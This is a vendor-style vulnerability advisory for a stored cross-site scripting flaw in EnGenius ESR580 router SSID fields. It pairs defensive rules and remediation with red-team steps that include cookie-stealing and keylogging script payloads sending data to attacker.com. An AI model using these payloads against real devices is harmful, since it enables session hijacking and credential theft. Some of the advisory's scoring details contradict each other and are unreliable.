CVE-2024-31972
Executive Summary
CVE-2024-31972 is a stored cross-site scripting (XSS) vulnerability affecting EnGenius ESR580 wireless routers (model A8J-EMR5000). An attacker with network access to the device’s admin interface can inject arbitrary JavaScript code via the Wi-Fi SSID input fields on the /admin/wifi/wlan1 and /admin/wifi/wlan_guest pages. The injected script executes immediately when any authenticated administrator logs into the admin panel, leading to session hijacking, credential theft, or further compromise of the device. No official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector assigned)
- Attack Vector: Network (adjacent or local network)
- Attack Complexity: Low
- Privileges Required: None (attacker only needs network access to the admin interface)
- User Interaction: Required (admin must log in)
- Scope: Changed (XSS can affect other resources)
- Confidentiality Impact: High (session tokens, credentials)
- Integrity Impact: High (arbitrary actions as admin)
- Availability Impact: Low (DoS possible but not primary)
- Threat Level: High (due to lack of patch and ease of exploitation)
Deep Dive & Mechanics
The vulnerability resides in the SSID input fields of the EnGenius ESR580 admin interface. The application fails to sanitize or encode user-supplied SSID values before storing them in the device’s configuration database. When an administrator views the Wi-Fi settings page, the stored SSID is rendered directly into the HTML without proper escaping, allowing arbitrary JavaScript execution.
Attack Flow:
- Attacker gains network access to the router’s admin interface (e.g., via default credentials, weak password, or physical access).
- Attacker navigates to
/admin/wifi/wlan1or/admin/wifi/wlan_guestand sets the SSID to a malicious payload, e.g.,<script>alert(document.cookie)</script>. - The payload is stored in the device’s configuration.
- When any authenticated admin logs in and visits the Wi-Fi settings page, the payload executes in the context of the admin’s session.
- The attacker can then steal session cookies, perform actions as the admin, or pivot to internal networks.
Root Cause: Lack of output encoding for SSID values in the admin panel’s HTML rendering.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In admin/wifi/wlan1.php or similar
$ssid = $_POST['ssid']; // No sanitization
$config['wlan1']['ssid'] = $ssid;
// Later, when rendering:
echo "<input type='text' value='$ssid' />"; // Direct injection
Patched Code (Conceptual):
$ssid = htmlspecialchars($_POST['ssid'], ENT_QUOTES, 'UTF-8');
$config['wlan1']['ssid'] = $ssid;
// Or use a templating engine that auto-escapes
echo "<input type='text' value='" . htmlspecialchars($ssid, ENT_QUOTES) . "' />";
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Network access to the EnGenius ESR580 admin interface (default IP often 192.168.1.1).
- Valid admin credentials (default: admin/admin or obtained via brute force).
Steps:
- Log in to the admin panel.
- Navigate to
/admin/wifi/wlan1or/admin/wifi/wlan_guest. - In the SSID field, inject a payload such as:
<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script> - Save the configuration.
- Wait for an admin to log in and view the Wi-Fi settings page. The payload executes, exfiltrating the session cookie.
Alternative Payload (keylogger):
<script>
document.addEventListener('keydown', function(e) {
new Image().src='http://attacker.com/key?k='+e.key;
});
</script>
Blue Team (Defender)
Detection:
- Monitor admin interface logs for unusual SSID values containing
<script>,onerror, or other HTML/JavaScript patterns. - Use network monitoring to detect outbound connections to unknown IPs from the router.
- Implement Web Application Firewall (WAF) rules to block XSS payloads in SSID fields.
Mitigation:
- Restrict admin interface access to trusted IPs only.
- Change default credentials immediately.
- Apply input validation and output encoding if custom firmware is possible.
- Monitor for unauthorized configuration changes.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests from the router to attacker-controlled domains (e.g.,
attacker.com/steal?cookie=...). - Logs: Admin interface logs showing SSID values containing
<script>,onload,onerror, or base64-encoded JavaScript. - File System: Modified configuration files (e.g.,
/etc/config/wireless) containing malicious SSID strings. - Process: Unusual child processes spawned by the web server (e.g.,
curl,wget).
Detection Engineering
YARA Rule
rule CVE_2024_31972_Stored_XSS_SSID {
meta:
description = "Detects stored XSS payloads in EnGenius ESR580 SSID fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-31972"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$xss4 = /javascript\s*:/i
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: EnGenius ESR580 Stored XSS via SSID
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in SSID fields on EnGenius ESR580 admin interface
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/admin/wifi/wlan1'
- '/admin/wifi/wlan_guest'
cs-query|contains:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate SSIDs containing special characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-31972 EnGenius ESR580 Stored XSS SSID Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict admin interface access to trusted IPs only (firewall rule).
- Change default admin credentials immediately.
- Disable remote admin access if not required.
- Monitor logs for suspicious SSID changes.
Long-Term Fix:
- Since no official patch exists, consider replacing the device with a supported model.
- If custom firmware is possible, apply input validation and output encoding to all user-supplied fields.
- Implement a Web Application Firewall (WAF) to block XSS payloads.
Workaround:
- Use a reverse proxy (e.g., Nginx) in front of the admin interface to filter malicious input.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.